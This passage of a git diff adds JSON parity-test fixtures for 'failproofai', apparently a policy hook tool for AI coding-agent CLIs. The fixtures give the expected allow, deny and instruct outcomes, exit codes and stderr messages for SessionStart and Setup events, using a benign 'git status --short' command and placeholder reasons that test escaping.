a/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b3cf1a66 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f885e99a --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4dba624a --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked session start by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..fe73e3bf --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked session start by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5f20eb2f --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6d893556 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d841d554 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2fff6c76 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1fb6627e --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8806067a --- /dev/null +++ b/__tests__/parity/fixtures/factory/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..19d50811 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..66b837cd --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..235e9908 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f6463b4d --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a7c383ea --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..04aedcb7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..46972d93 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1158ffe3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..899a925c --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bce9f9df --- /dev/null +++ b/__tests__/parity/fixtures/factory/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + 